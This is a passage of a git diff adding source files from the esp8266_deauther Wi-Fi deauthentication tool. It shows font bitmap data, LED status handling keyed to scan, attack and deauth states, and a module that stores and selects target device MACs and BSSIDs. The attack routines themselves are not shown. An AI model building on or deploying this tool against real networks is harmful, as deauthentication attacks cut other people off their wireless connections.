0x02, 0x40, 0x02, 0xC0, 0x03, 0x20, 0x04, // 164 + 0x08, 0x00, 0x50, 0x01, 0x60, 0x01, 0x80, 0x0F, 0x60, 0x01, 0x50, 0x01, 0x08, // 165 + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF0, 0x3C, // 166 + 0x00, 0x00, 0xF0, 0x11, 0x28, 0x13, 0x48, 0x12, 0xC8, 0x14, 0x88, 0x0F, // 167 + 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x08, // 168 + 0xC0, 0x01, 0x20, 0x02, 0xD0, 0x05, 0x50, 0x05, 0x50, 0x05, 0x20, 0x02, 0xC0, 0x01, // 169 + 0x00, 0x00, 0xE8, 0x02, 0xA8, 0x02, 0xA8, 0x02, 0xF0, 0x02, // 170 + 0x00, 0x00, 0x00, 0x01, 0x80, 0x02, 0x40, 0x04, 0x00, 0x01, 0x80, 0x02, 0x40, 0x04, // 171 + 0x00, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x03, // 172 + 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, // 173 + 0xC0, 0x01, 0x20, 0x02, 0xD0, 0x05, 0xD0, 0x05, 0xD0, 0x05, 0x20, 0x02, 0xC0, 0x01, // 174 + 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x08, 0x00, 0x08, 0x00, 0x08, // 175 + 0x00, 0x00, 0x00, 0x00, 0x30, 0x00, 0x48, 0x00, 0x48, 0x00, 0x30, // 176 + 0x80, 0x08, 0x80, 0x08, 0x80, 0x08, 0xE0, 0x0B, 0x80, 0x08, 0x80, 0x08, 0x80, 0x08, // 177 + 0x00, 0x00, 0x00, 0x00, 0x88, 0x00, 0xE8, 0x00, 0xB8, // 178 + 0x00, 0x00, 0x00, 0x00, 0x88, 0x00, 0xA8, 0x00, 0xA8, 0x00, 0xD8, // 179 + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x04, // 180 + 0x00, 0x00, 0xE0, 0x7F, 0x00, 0x08, 0x00, 0x08, 0x00, 0x08, 0xE0, 0x0F, 0x00, 0x08, // 181 + 0x00, 0x00, 0x70, 0x00, 0xF8, 0x00, 0xF8, 0x00, 0xF8, 0x1F, 0x08, 0x00, 0xF8, 0x1F, // 182 + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x01, // 183 + 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x20, 0x00, 0x30, // 184 + 0x00, 0x00, 0x00, 0x00, 0x88, 0x00, 0xF8, 0x00, 0x80, // 185 + 0x00, 0x00, 0x70, 0x02, 0x88, 0x02, 0x88, 0x02, 0x70, 0x02, // 186 + 0x00, 0x00, 0x40, 0x04, 0x80, 0x02, 0x00, 0x01, 0x40, 0x04, 0x80, 0x02, 0x00, 0x01, // 187 + 0x44, 0x02, 0x7C, 0x03, 0x40, 0x01, 0x00, 0x0D, 0x80, 0x0B, 0x80, 0x1F, 0x00, 0x08, // 188 + 0x44, 0x02, 0x7C, 0x03, 0x40, 0x01, 0x00, 0x11, 0x80, 0x1D, 0x80, 0x17, // 189 + 0x00, 0x02, 0x44, 0x03, 0x54, 0x01, 0x54, 0x0D, 0xEC, 0x0B, 0x80, 0x1F, 0x00, 0x08, // 190 + 0x00, 0x38, 0x00, 0x4C, 0x00, 0x44, 0x60, 0x43, 0x00, 0x20, // 191 + 0x00, 0x00, 0x00, 0x0C, 0xC1, 0x03, 0x3A, 0x02, 0x38, 0x02, 0xC0, 0x03, 0x00, 0x0C, // 192 + 0x00, 0x00, 0x00, 0x0C, 0xC0, 0x03, 0x3A, 0x02, 0x39, 0x02, 0xC0, 0x03, 0x00, 0x0C, // 193 + 0x00, 0x00, 0x00, 0x0C, 0xC2, 0x03, 0x39, 0x02, 0x39, 0x02, 0xC2, 0x03, 0x00, 0x0C, // 194 + 0x00, 0x00, 0x00, 0x0C, 0xC3, 0x03, 0x39, 0x02, 0x3A, 0x02, 0xC3, 0x03, 0x00, 0x0C, // 195 + 0x00, 0x00, 0x00, 0x0C, 0xC2, 0x03, 0x38, 0x02, 0x38, 0x02, 0xC2, 0x03, 0x00, 0x0C, // 196 + 0x00, 0x00, 0x00, 0x08, 0x00, 0x07, 0xFE, 0x02, 0xE6, 0x02, 0x00, 0x07, 0x00, 0x08, // 197 + 0x00, 0x0C, 0x80, 0x03, 0x78, 0x02, 0x08, 0x02, 0xF8, 0x0F, 0x88, 0x08, 0x88, 0x08, // 198 + 0x00, 0x00, 0xE0, 0x03, 0x10, 0x04, 0x08, 0x28, 0x08, 0x28, 0x08, 0x38, 0x10, 0x04, // 199 + 0x00, 0x00, 0xF8, 0x0F, 0x89, 0x08, 0x8A, 0x08, 0x88, 0x08, 0x88, 0x08, 0x88, 0x08, // 200 + 0x00, 0x00, 0xF8, 0x0F, 0x88, 0x08, 0x8A, 0x08, 0x89, 0x08, 0x88, 0x08, 0x88, 0x08, // 201 + 0x00, 0x00, 0xF8, 0x0F, 0x8A, 0x08, 0x89, 0x08, 0x89, 0x08, 0x8A, 0x08, 0x88, 0x08, // 202 + 0x00, 0x00, 0xF8, 0x0F, 0x8A, 0x08, 0x88, 0x08, 0x8A, 0x08, 0x88, 0x08, 0x88, 0x08, // 203 + 0x00, 0x00, 0x08, 0x08, 0x09, 0x08, 0xFA, 0x0F, 0x08, 0x08, 0x08, 0x08, // 204 + 0x00, 0x00, 0x08, 0x08, 0x08, 0x08, 0xFA, 0x0F, 0x09, 0x08, 0x08, 0x08, // 205 + 0x00, 0x00, 0x08, 0x08, 0x0A, 0x08, 0xF9, 0x0F, 0x0A, 0x08, 0x08, 0x08, // 206 + 0x00, 0x00, 0x08, 0x08, 0x0A, 0x08, 0xF8, 0x0F, 0x0A, 0x08, 0x08, 0x08, // 207 + 0x80, 0x00, 0xF8, 0x0F, 0x88, 0x08, 0x88, 0x08, 0x08, 0x08, 0x10, 0x04, 0xE0, 0x03, // 208 + 0x00, 0x00, 0xF8, 0x0F, 0x1B, 0x00, 0xE1, 0x00, 0x82, 0x03, 0x03, 0x0C, 0xF8, 0x0F, // 209 + 0x00, 0x00, 0xE0, 0x03, 0x19, 0x0C, 0x0A, 0x08, 0x08, 0x08, 0x18, 0x0C, 0xE0, 0x03, // 210 + 0x00, 0x00, 0xE0, 0x03, 0x18, 0x0C, 0x0A, 0x08, 0x09, 0x08, 0x18, 0x0C, 0xE0, 0x03, // 211 + 0x00, 0x00, 0xE0, 0x03, 0x1A, 0x0C, 0x09, 0x08, 0x09, 0x08, 0x1A, 0x0C, 0xE0, 0x03, // 212 + 0x00, 0x00, 0xE0, 0x03, 0x1B, 0x0C, 0x09, 0x08, 0x0A, 0x08, 0x1B, 0x0C, 0xE0, 0x03, // 213 + 0x00, 0x00, 0xE0, 0x03, 0x1A, 0x0C, 0x08, 0x08, 0x08, 0x08, 0x1A, 0x0C, 0xE0, 0x03, // 214 + 0x00, 0x00, 0x20, 0x02, 0x40, 0x01, 0x80, 0x00, 0x40, 0x01, 0x20, 0x02, // 215 + 0x00, 0x08, 0xE0, 0x07, 0x18, 0x0E, 0x88, 0x09, 0x48, 0x08, 0x38, 0x0C, 0xF8, 0x03, // 216 + 0x00, 0x00, 0xF8, 0x07, 0x01, 0x08, 0x02, 0x08, 0x00, 0x08, 0x00, 0x08, 0xF8, 0x07, // 217 + 0x00, 0x00, 0xF8, 0x07, 0x00, 0x08, 0x02, 0x08, 0x01, 0x08, 0x00, 0x08, 0xF8, 0x07, // 218 + 0x00, 0x00, 0xF8, 0x07, 0x02, 0x08, 0x01, 0x08, 0x01, 0x08, 0x02, 0x08, 0xF8, 0x07, // 219 + 0x00, 0x00, 0xF8, 0x07, 0x02, 0x08, 0x00, 0x08, 0x00, 0x08, 0x02, 0x08, 0xF8, 0x07, // 220 + 0x08, 0x00, 0x10, 0x00, 0x60, 0x00, 0x82, 0x0F, 0x61, 0x00, 0x10, 0x00, 0x08, // 221 + 0x00, 0x00, 0xF8, 0x0F, 0x10, 0x01, 0x10, 0x01, 0x10, 0x01, 0x10, 0x01, 0xE0, // 222 + 0x00, 0x00, 0xF8, 0x0F, 0xE4, 0x00, 0xA4, 0x09, 0x18, 0x09, 0x00, 0x06, // 223 + 0x00, 0x00, 0x40, 0x06, 0x20, 0x09, 0x24, 0x09, 0x28, 0x09, 0xC0, 0x0F, // 224 + 0x00, 0x00, 0x40, 0x06, 0x20, 0x09, 0x28, 0x09, 0x24, 0x09, 0xC0, 0x0F, // 225 + 0x00, 0x00, 0x40, 0x06, 0x28, 0x09, 0x24, 0x09, 0x24, 0x09, 0xC8, 0x0F, // 226 + 0x00, 0x00, 0x40, 0x06, 0x2C, 0x09, 0x24, 0x09, 0x28, 0x09, 0xCC, 0x0F, // 227 + 0x00, 0x00, 0x40, 0x06, 0x28, 0x09, 0x20, 0x09, 0x28, 0x09, 0xC0, 0x0F, // 228 + 0x00, 0x00, 0x40, 0x06, 0x26, 0x09, 0x29, 0x09, 0x29, 0x09, 0xC6, 0x0F, // 229 + 0x00, 0x00, 0x40, 0x0F, 0x20, 0x09, 0xC0, 0x07, 0x20, 0x09, 0xE0, 0x09, // 230 + 0x00, 0x00, 0xC0, 0x07, 0x60, 0x0C, 0x20, 0x28, 0x20, 0x28, 0x40, 0x38, // 231 + 0x00, 0x00, 0xC0, 0x07, 0x60, 0x09, 0x24, 0x09, 0x28, 0x09, 0xC0, 0x05, // 232 + 0x00, 0x00, 0xC0, 0x07, 0x60, 0x09, 0x28, 0x09, 0x24, 0x09, 0xC0, 0x05, // 233 + 0x00, 0x00, 0xC0, 0x07, 0x68, 0x09, 0x24, 0x09, 0x24, 0x09, 0xC8, 0x05, // 234 + 0x00, 0x00, 0xC0, 0x07, 0x68, 0x09, 0x20, 0x09, 0x28, 0x09, 0xC0, 0x05, // 235 + 0x00, 0x00, 0x20, 0x08, 0x20, 0x08, 0xE4, 0x0F, 0x08, 0x08, 0x00, 0x08, // 236 + 0x00, 0x00, 0x20, 0x08, 0x20, 0x08, 0xE8, 0x0F, 0x04, 0x08, 0x00, 0x08, // 237 + 0x00, 0x00, 0x28, 0x08, 0x24, 0x08, 0xE4, 0x0F, 0x08, 0x08, 0x00, 0x08, // 238 + 0x00, 0x00, 0x20, 0x08, 0x28, 0x08, 0xE0, 0x0F, 0x08, 0x08, 0x00, 0x08, // 239 + 0x00, 0x00, 0x80, 0x07, 0x54, 0x08, 0x58, 0x08, 0x68, 0x08, 0xC0, 0x07, // 240 + 0x00, 0x00, 0xE0, 0x0F, 0x4C, 0x00, 0x24, 0x00, 0x28, 0x00, 0xCC, 0x0F, // 241 + 0x00, 0x00, 0xC0, 0x07, 0x20, 0x08, 0x24, 0x08, 0x28, 0x08, 0xC0, 0x07, // 242 + 0x00, 0x00, 0xC0, 0x07, 0x20, 0x08, 0x28, 0x08, 0x24, 0x08, 0xC0, 0x07, // 243 + 0x00, 0x00, 0xC0, 0x07, 0x28, 0x08, 0x24, 0x08, 0x28, 0x08, 0xC0, 0x07, // 244 + 0x00, 0x00, 0xCC, 0x07, 0x24, 0x08, 0x2C, 0x08, 0x28, 0x08, 0xCC, 0x07, // 245 + 0x00, 0x00, 0xC0, 0x07, 0x28, 0x08, 0x20, 0x08, 0x28, 0x08, 0xC0, 0x07, // 246 + 0x00, 0x00, 0x00, 0x01, 0x00, 0x01, 0x40, 0x05, 0x00, 0x01, 0x00, 0x01, // 247 + 0x00, 0x00, 0xC0, 0x0F, 0x20, 0x0A, 0x20, 0x09, 0xA0, 0x08, 0xE0, 0x07, // 248 + 0x00, 0x00, 0xE0, 0x07, 0x00, 0x08, 0x04, 0x08, 0x08, 0x08, 0xE0, 0x0F, // 249 + 0x00, 0x00, 0xE0, 0x07, 0x00, 0x08, 0x08, 0x08, 0x04, 0x08, 0xE0, 0x0F, // 250 + 0x00, 0x00, 0xE0, 0x07, 0x08, 0x08, 0x04, 0x08, 0x08, 0x08, 0xE0, 0x0F, // 251 + 0x00, 0x00, 0xE0, 0x07, 0x08, 0x08, 0x00, 0x08, 0x08, 0x08, 0xE0, 0x0F, // 252 + 0x00, 0x00, 0x60, 0x40, 0x80, 0x67, 0x08, 0x1C, 0x84, 0x03, 0x60, // 253 + 0x00, 0x00, 0xFC, 0x7F, 0x20, 0x08, 0x20, 0x08, 0x20, 0x08, 0xC0, 0x07, // 254 + 0x00, 0x00, 0x60, 0x40, 0x88, 0x67, 0x00, 0x1C, 0x88, 0x03, 0x60 // 255 +}; + +#endif // ifndef DisplayUI_h diff --git a/enp8266/esp8266_deauther-master/esp8266_deauther/LED.cpp b/enp8266/esp8266_deauther-master/esp8266_deauther/LED.cpp new file mode 100755 index 0000000..94f2513 --- /dev/null +++ b/enp8266/esp8266_deauther-master/esp8266_deauther/LED.cpp @@ -0,0 +1,205 @@ +#include "LED.h" + +LED::LED() {} + +LED::~LED() { + if (led) delete led; +} + +void LED::setup() { + #if defined(DIGITAL_LED) + led = new DigitalLED(LED_PIN_R, LED_PIN_G, LED_PIN_B, LED_ANODE); + led->setup(); + #elif defined(RGB_LED) + led = new LED::AnalogRGBLED(LED_PIN_R, LED_PIN_G, LED_PIN_B, LED_MODE_BRIGHTNESS, LED_ANODE); + led->setup(); + #elif defined(NEOPIXEL_LED) + led = new LED::NeopixelLED(LED_NEOPIXEL_NUM, LED_NEOPIXEL_PIN, LED_MODE_BRIGHTNESS); + led->setup(); + #endif // if defined(DIGITAL_LED) +} + +void LED::update() { + if (!tempEnabled || !led) return; + + if (!settings.getLedEnabled() && tempEnabled) tempDisable(); + + if (scan.isScanning() && (scan.deauths < settings.getMinDeauths())) setMode(LED_MODE::SCAN, false); + else if (scan.deauths >= settings.getMinDeauths()) setMode(LED_MODE::DEAUTH, false); + else if (attack.isRunning()) setMode(LED_MODE::ATTACK, false); + else setMode(LED_MODE::IDLE, false); +} + +void LED::setMode(uint8_t mode, bool force) { + if (!led) return; + + if ((mode != LED::mode) || force) { + LED::mode = mode; + + switch (mode) { + case LED_MODE::OFF: + led->setColor(0, 0, 0); + break; + + case LED_MODE::SCAN: + led->setColor(0, 0, 255); + break; + + case LED_MODE::ATTACK: + led->setColor(255, 255, 0); + break; + + case LED_MODE::DEAUTH: + led->setColor(255, 0, 0); + break; + + case LED_MODE::IDLE: + led->setColor(0, 255, 0); + break; + } + } +} + +void LED::setColor(uint8_t r, uint8_t g, uint8_t b, bool output) { + // debug output + if (output) { + char s[30]; + sprintf_P(s, L_OUTPUT, r, g, b); + prnt(String(s)); + } + + led->setColor(r, g, b); +} + +void LED::setColor(uint8_t r, uint8_t g, uint8_t b, uint8_t brightness, bool output) { + led->setBrightness(brightness); + setColor(r, g, b, output); +} + +void LED::tempEnable() { + tempEnabled = true; + prntln(L_ENABLED); +} + +void LED::tempDisable() { + tempEnabled = false; + prntln(L_DISABLED); +} + +bool LED::getTempEnabled() { + return tempEnabled; +} + +#ifdef DIGITAL_LED +// ===== DigitalLED ===== // +LED::DigitalLED::DigitalLED(uint8_t rPin, uint8_t gPin, uint8_t bPin, bool anode) { + LED::DigitalLED::anode = anode; + LED::DigitalLED::rPin = rPin; + LED::DigitalLED::gPin = gPin; + LED::DigitalLED::bPin = bPin; +} + +LED::DigitalLED::~DigitalLED() {} + +void LED::DigitalLED::setup() { + if (rPin < 255) pinMode(rPin, OUTPUT); + + if (gPin < 255) pinMode(gPin, OUTPUT); + + if (bPin < 255) pinMode(bPin, OUTPUT); +} + +void LED::DigitalLED::setColor(uint8_t r, uint8_t g, uint8_t b) { + if (anode) { + if (rPin < 255) digitalWrite(rPin, r > 0); + + if (gPin < 255) digitalWrite(gPin, g > 0); + + if (bPin < 255) digitalWrite(bPin, b > 0); + } else { + if (rPin < 255) digitalWrite(rPin, r == 0); + + if (gPin < 255) digitalWrite(gPin, g == 0); + + if (bPin < 255) digitalWrite(bPin, b == 0); + } +} + +void LED::DigitalLED::setBrightness(uint8_t brightness) {} +#endif + +#ifdef RGB_LED +// ===== AnalogRGBLED ===== // +LED::AnalogRGBLED::AnalogRGBLED(uint8_t rPin, uint8_t gPin, uint8_t bPin, uint8_t brightness, bool anode) { + LED::AnalogRGBLED::anode = anode; + LED::AnalogRGBLED::rPin = rPin; + LED::AnalogRGBLED::gPin = gPin; + LED::AnalogRGBLED::bPin = bPin; + + setBrightness(brightness); +} + +LED::AnalogRGBLED::~AnalogRGBLED() {} + +void LED::AnalogRGBLED::setup() { + analogWriteRange(0xff); + + if (rPin < 255) pinMode(rPin, OUTPUT); + + if (gPin < 255) pinMode(gPin, OUTPUT); + + if (bPin < 255) pinMode(bPin, OUTPUT); +} + +void LED::AnalogRGBLED::setColor(uint8_t r, uint8_t g, uint8_t b) { + if ((r > 0) && (brightness < 100)) r = r * brightness / 100; + + if ((g > 0) && (brightness < 100)) g = g * brightness / 100; + + if ((b > 0) && (brightness < 100)) b = b * brightness / 100; + + if (anode) { + r = 255 - r; + g = 255 - g; + b = 255 - b; + } + + analogWrite(rPin, r); + analogWrite(gPin, g); + analogWrite(bPin, b); +} + +void LED::AnalogRGBLED::setBrightness(uint8_t brightness) { + if (brightness > 100) brightness = 100; + LED::AnalogRGBLED::brightness = brightness; +} +#endif + +#ifdef NEOPIXEL_LED +// ===== NeopixelLED ===== // +LED::NeopixelLED::NeopixelLED(int num, uint8_t dataPin, uint8_t brightness) { + strip = new Adafruit_NeoPixel(num, dataPin, LED_NEOPIXEL_MODE); + setBrightness(brightness); +} + +LED::NeopixelLED::~NeopixelLED() { + delete strip; +} + +void LED::NeopixelLED::setup() { + strip->begin(); + strip->show(); +} + +void LED::NeopixelLED::setColor(uint8_t r, uint8_t g, uint8_t b) { + int num = strip->numPixels(); + + for (uint16_t i = 0; i < num; i++) strip->setPixelColor(i, strip->Color(r, g, b)); + strip->show(); +} + +void LED::NeopixelLED::setBrightness(uint8_t brightness) { + if (brightness > 100) brightness = 100; + strip->setBrightness(brightness); +} +#endif diff --git a/enp8266/esp8266_deauther-master/esp8266_deauther/LED.h b/enp8266/esp8266_deauther-master/esp8266_deauther/LED.h new file mode 100755 index 0000000..0834ddc --- /dev/null +++ b/enp8266/esp8266_deauther-master/esp8266_deauther/LED.h @@ -0,0 +1,107 @@ +#ifndef LED_h +#define LED_h + +#include "Arduino.h" +extern "C" { + #include "user_interface.h" +} +#include "language.h" +#include "A_config.h" +#include "Settings.h" +#include "Attack.h" +#include "Scan.h" + +#include + +extern Settings settings; +extern Attack attack; +extern Scan scan; +extern Stations stations; + +class LED { + public: + enum LED_MODE { OFF = 0, SCAN = 1, ATTACK = 2, DEAUTH = 3, IDLE = 4 }; + + LED(); + ~LED(); + + void setup(); + void update(); + + void setMode(uint8_t mode, bool force); + + void setColor(uint8_t r, uint8_t g, uint8_t b, bool output); + void setColor(uint8_t r, uint8_t g, uint8_t b, uint8_t brightness, bool output); + + void tempEnable(); + void tempDisable(); + bool getTempEnabled(); + + private: + class StatusLED { + public: + virtual ~StatusLED() = default; + + virtual void setup() = 0; + + virtual void setColor(uint8_t r, uint8_t g, uint8_t b) = 0; + virtual void setBrightness(uint8_t brightness) = 0; + }; +#ifdef DIGITAL_LED + class DigitalLED : public StatusLED { + public: + DigitalLED(uint8_t rPin, uint8_t gPin, uint8_t bPin, bool anode); + ~DigitalLED(); + + void setup(); + void setColor(uint8_t r, uint8_t g, uint8_t b); + void setBrightness(uint8_t brightness); + void setMode(uint8_t mode, bool force); + + private: + bool anode = true; + uint8_t rPin = 255; + uint8_t gPin = 255; + uint8_t bPin = 255; + }; +#endif +#ifdef RGB_LED + class AnalogRGBLED : public StatusLED { + public: + AnalogRGBLED(uint8_t rPin, uint8_t gPin, uint8_t bPin, uint8_t brightness, bool anode); + ~AnalogRGBLED(); + + void setup(); + void setColor(uint8_t r, uint8_t g, uint8_t b); + void setBrightness(uint8_t brightness); + void setMode(uint8_t mode, bool force); + + private: + bool anode = true; + uint8_t rPin = 255; + uint8_t gPin = 255; + uint8_t bPin = 255; + uint8_t brightness = 0; + }; +#endif +#ifdef NEOPIXEL_LED + class NeopixelLED : public StatusLED { + public: + NeopixelLED(int num, uint8_t dataPin, uint8_t brightness); + ~NeopixelLED(); + + void setup(); + void setColor(uint8_t r, uint8_t g, uint8_t b); + void setBrightness(uint8_t brightness); + void setMode(uint8_t mode, bool force); + + private: + Adafruit_NeoPixel* strip; + }; +#endif + bool tempEnabled = true; + uint8_t mode = LED_MODE::OFF; + StatusLED* led = NULL; +}; + +#endif // ifndef LED_h diff --git a/enp8266/esp8266_deauther-master/esp8266_deauther/Names.cpp b/enp8266/esp8266_deauther-master/esp8266_deauther/Names.cpp new file mode 100755 index 0000000..af6272f --- /dev/null +++ b/enp8266/esp8266_deauther-master/esp8266_deauther/Names.cpp @@ -0,0 +1,511 @@ +#include "Names.h" + +Names::Names() { + list = new SimpleList; +} + +void Names::load() { + internal_removeAll(); + + DynamicJsonBuffer jsonBuffer(4000); + + checkFile(FILE_PATH, String(OPEN_BRACKET) + String(CLOSE_BRACKET)); + JsonArray& arr = parseJSONFile(FILE_PATH, jsonBuffer); + + for (uint32_t i = 0; i < arr.size() && i < NAME_LIST_SIZE; i++) { + JsonArray& tmpArray = arr.get(i); + internal_add(tmpArray.get(0), tmpArray.get(2), tmpArray.get(3), tmpArray.get( + 4), false); + sort(); + } + + prnt(N_LOADED); + prntln(FILE_PATH); +} + +void Names::load(String filepath) { + String tmp = FILE_PATH; + + FILE_PATH = filepath; + load(); + FILE_PATH = tmp; +} + +void Names::save(bool force) { + if (!force && !changed) { + return; + + prntln(N_SAVED); + } + + String buf = String(OPEN_BRACKET); // [ + + if (!writeFile(FILE_PATH, buf)) { + prnt(F_ERROR_SAVING); + prntln(FILE_PATH); + return; + } + + buf = String(); + + String name; + int c = count(); + + for (int i = 0; i < c; i++) { + name = escape(getName(i)); + + buf += String(OPEN_BRACKET) + String(DOUBLEQUOTES) + getMacStr(i) + String(DOUBLEQUOTES) + String(COMMA); // ["00:11:22:00:11:22", + buf += String(DOUBLEQUOTES) + getVendorStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "vendor", + buf += String(DOUBLEQUOTES) + name + String(DOUBLEQUOTES) + String(COMMA); // "name", + buf += String(DOUBLEQUOTES) + getBssidStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "00:11:22:00:11:22", + buf += String(getCh(i)) + String(COMMA); // 1, + buf += b2s(getSelected(i)) + String(CLOSE_BRACKET); // false] + + if (i < c - 1) buf += COMMA; // , + + if (buf.length() >= 1024) { + if (!appendFile(FILE_PATH, buf)) { + prnt(F_ERROR_SAVING); + prntln(FILE_PATH); + return; + } + + buf = String(); + } + } + + buf += String(CLOSE_BRACKET); // ] + + if (!appendFile(FILE_PATH, buf)) { + prnt(F_ERROR_SAVING); + prntln(FILE_PATH); + return; + } + + prnt(N_SAVED); + prntln(FILE_PATH); + changed = false; +} + +void Names::save(bool force, String filepath) { + String tmp = FILE_PATH; + + FILE_PATH = filepath; + save(force); + FILE_PATH = tmp; +} + +void Names::sort() { + list->setCompare([](Device& a, Device& b) -> int { + return memcmp(a.mac, b.mac, 6); + }); + list->sort(); +} + +void Names::removeAll() { + internal_removeAll(); + prntln(N_REMOVED_ALL); + changed = true; +} + +bool Names::check(int num) { + if (internal_check(num)) return true; + + prnt(N_ERROR_NOT_FOUND); + prntln(num); + return false; +} + +int Names::findID(uint8_t* mac) { + for (int i = 0; i < list->size(); i++) { + if (memcmp(mac, list->get(i).mac, 6) == 0) return i; + } + + return -1; +} + +String Names::find(uint8_t* mac) { + int num = findID(mac); + + if (num >= 0) return getName(num); + else return String(); +} + +void Names::print(int num) { + print(num, true, true); +} + +void Names::print(int num, bool header, bool footer) { + if (!check(num)) return; + + if (header) { + prntln(N_TABLE_HEADER); + prntln(N_TABLE_DIVIDER); + } + + prnt(leftRight(String(), (String)num, 2)); + prnt(leftRight(String(SPACE) + getMacStr(num), String(), 18)); + prnt(leftRight(String(SPACE) + getVendorStr(num), String(), 9)); + prnt(leftRight(String(SPACE) + getName(num), String(), 17)); + prnt(leftRight(String(SPACE) + getBssidStr(num), String(), 18)); + prnt(leftRight(String(SPACE), (String)getCh(num), 3)); + prntln(leftRight(String(SPACE) + getSelectedStr(num), String(), 9)); + + if (footer) prntln(N_TABLE_DIVIDER); +} + +void Names::printAll() { + prntln(N_HEADER); + int c = count(); + + if (c == 0) prntln(N_ERROR_LIST_EMPTY); + else + for (int i = 0; i < c; i++) print(i, i == 0, i == c - 1); +} + +void Names::printSelected() { + prntln(N_TABLE_HEADER); + int max = selected(); + int c = count(); + + if (max == 0) { + prntln(N_ERROR_NO_SELECTED); + return; + } + + for (int i = 0, j = 0; i < c && j < max; i++) { + if (getSelected(i)) { + print(i, j == 0, j == max - 1); + j++; + } + } +} + +void Names::add(uint8_t* mac, String name, uint8_t* bssid, uint8_t ch, bool selected, bool force) { + if (count() >= NAME_LIST_SIZE) { + if (force) internal_remove(0); + else { + prntln(N_ERROR_LIST_FULL); + return; + } + } + + if (name.length() > NAME_MAX_LENGTH) name = name.substring(0, NAME_MAX_LENGTH); + + internal_add(mac, name, bssid, ch, selected); + sort(); + + prnt(N_ADDED); + prntln(name); + changed = true; +} + +void Names::add(String macStr, String name, String bssidStr, uint8_t ch, bool selected, bool force) { + if (count() >= NAME_LIST_SIZE) { + if (force) internal_remove(0); + else { + prntln(N_ERROR_LIST_FULL); + return; + } + } + + if (name.length() > NAME_MAX_LENGTH) name = name.substring(0, NAME_MAX_LENGTH); + + internal_add(macStr, name, bssidStr, ch, selected); + sort(); + + prnt(N_ADDED); + prntln(name); + changed = true; +} + +void Names::replace(int num, String macStr, String name, String bssidStr, uint8_t ch, bool selected) { + if (!check(num)) return; + + remove(num); + + internal_add(macStr, name, bssidStr, ch, selected); + sort(); + prnt(N_REPLACED); + prntln(name); + changed = true; +} + +void Names::remove(int num) { + if (!check(num)) return; + + prnt(N_REMOVED); + prntln(getName(num)); + internal_remove(num); + changed = true; +} + +void Names::setName(int num, String name) { + if (!check(num)) return; + + internal_add(getMac(num), name, getBssid(num), getCh(num), getSelected(num)); + + prntln(N_CHANGED_NAME); + + internal_remove(num); + sort(); + changed = true; +} + +void Names::setMac(int num, String macStr) { + if (!check(num)) return; + + uint8_t mac[6]; + strToMac(macStr, mac); + internal_add(mac, getName(num), getBssid(num), getCh(num), getSelected(num)); + prntln(N_CHANGED_MAC); + internal_remove(num); + sort(); + changed = true; +} + +void Names::setCh(int num, uint8_t ch) { + if (!check(num)) return; + + internal_add(getMac(num), getName(num), getBssid(num), ch, getSelected(num)); + prntln(N_CHANGED_CH); + internal_remove(num); + sort(); + changed = true; +} + +void Names::setBSSID(int num, String bssidStr) { + if (!check(num)) return; + + uint8_t mac[6]; + strToMac(bssidStr, mac); + internal_add(getMac(num), getName(num), mac, getCh(num), getSelected(num)); + prntln(N_CHANGED_BSSID); + internal_remove(num); + sort(); + changed = true; +} + +void Names::select(int num) { + if (!check(num)) return; + + internal_select(num); + prnt(N_SELECTED); + prntln(getName(num)); + changed = true; +} + +void Names::select(String name) { + int c = count(); + + for (int i = 0; i < c; i++) { + if (getName(i).equals(name)) { + select(i); + return; + } + } + prnt(N_ERROR_NOT_FOUND); + prntln(name); +} + +void Names::deselect(int num) { + if (!check(num)) return; + + internal_deselect(num); + prnt(N_DESELECTED); + prntln(getName(num)); + changed = true; +} + +void Names::deselect(String name) { + int c = count(); + + for (int i = 0; i < c; i++) { + if (getName(i).equals(name)) { + deselect(i); + return; + } + } + prnt(N_ERROR_NOT_FOUND); + prnt(name); +} + +void Names::selectAll() { + int c = count(); + + for (int i = 0; i < c; i++) internal_select(i); + prntln(N_SELECTED_ALL); +} + +void Names::deselectAll() { + int c = count(); + + for (int i = 0; i < c; i++) internal_deselect(i); + prntln(N_DESELECTED_ALL); +} + +uint8_t* Names::getMac(int num) { + if (!check(num)) return NULL; + + return list->get(num).mac; +} + +uint8_t* Names::getBssid(int num) { + if (!check(num)) return NULL; + + return list->get(num).apBssid; +} + +String Names::getMacStr(int num) { + if (!check(num)) return String(); + + uint8_t* mac = getMac(num); + return bytesToStr(mac, 6); +} + +String Names::getVendorStr(int num) { + if (!check(num)) return String(); + + return searchVendor(list->get(num).mac); +} + +String Names::getBssidStr(int num) { + String value; + + if (getBssid(num) != NULL) { + uint8_t* mac = getBssid(num); + + for (int i = 0; i < 6; i++) { + if (mac[i] < 0x10) value += ZERO; + value += String(mac[i], HEX); + + if (i < 5) value += DOUBLEPOINT; + } + } + return value; +} + +String Names::getName(int num) { + if (!check(num)) return String(); + + return String(list->get(num).name); +} + +String Names::getSelectedStr(int num) { + return b2a(getSelected(num)); +} + +uint8_t Names::getCh(int num) { + if (!check(num)) return 1; + + return list->get(num).ch; +} + +bool Names::getSelected(int num) { + if (!check(num)) return false; + + return list->get(num).selected; +} + +bool Names::isStation(int num) { + return getBssid(num) != NULL; +} + +int Names::count() { + return list->size(); +} + +int Names::selected() { + int num = 0; + + for (int i = 0; i < count(); i++) + if (getSelected(i)) num++; + return num; +} + +int Names::stations() { + int num = 0; + + for (int i = 0; i < count(); i++) + if (isStation(i)) num++; + return num; +} + +bool Names::internal_check(int num) { + return num >= 0 && num < count(); +} + +void Names::internal_select(int num) { + Device newDevice = list->get(num); + + newDevice.selected = true; + list->replace(num, newDevice); +} + +void Names::internal_deselect(int num) { + Device newDevice = list->get(num); + + newDevice.selected = false; + list->replace(num, newDevice); +} + +void Names::internal_add(uint8_t* mac, String name, uint8_t* bssid, uint8_t ch, bool selected) { + uint8_t* deviceMac = (uint8_t*)malloc(6); + + if (name.length() 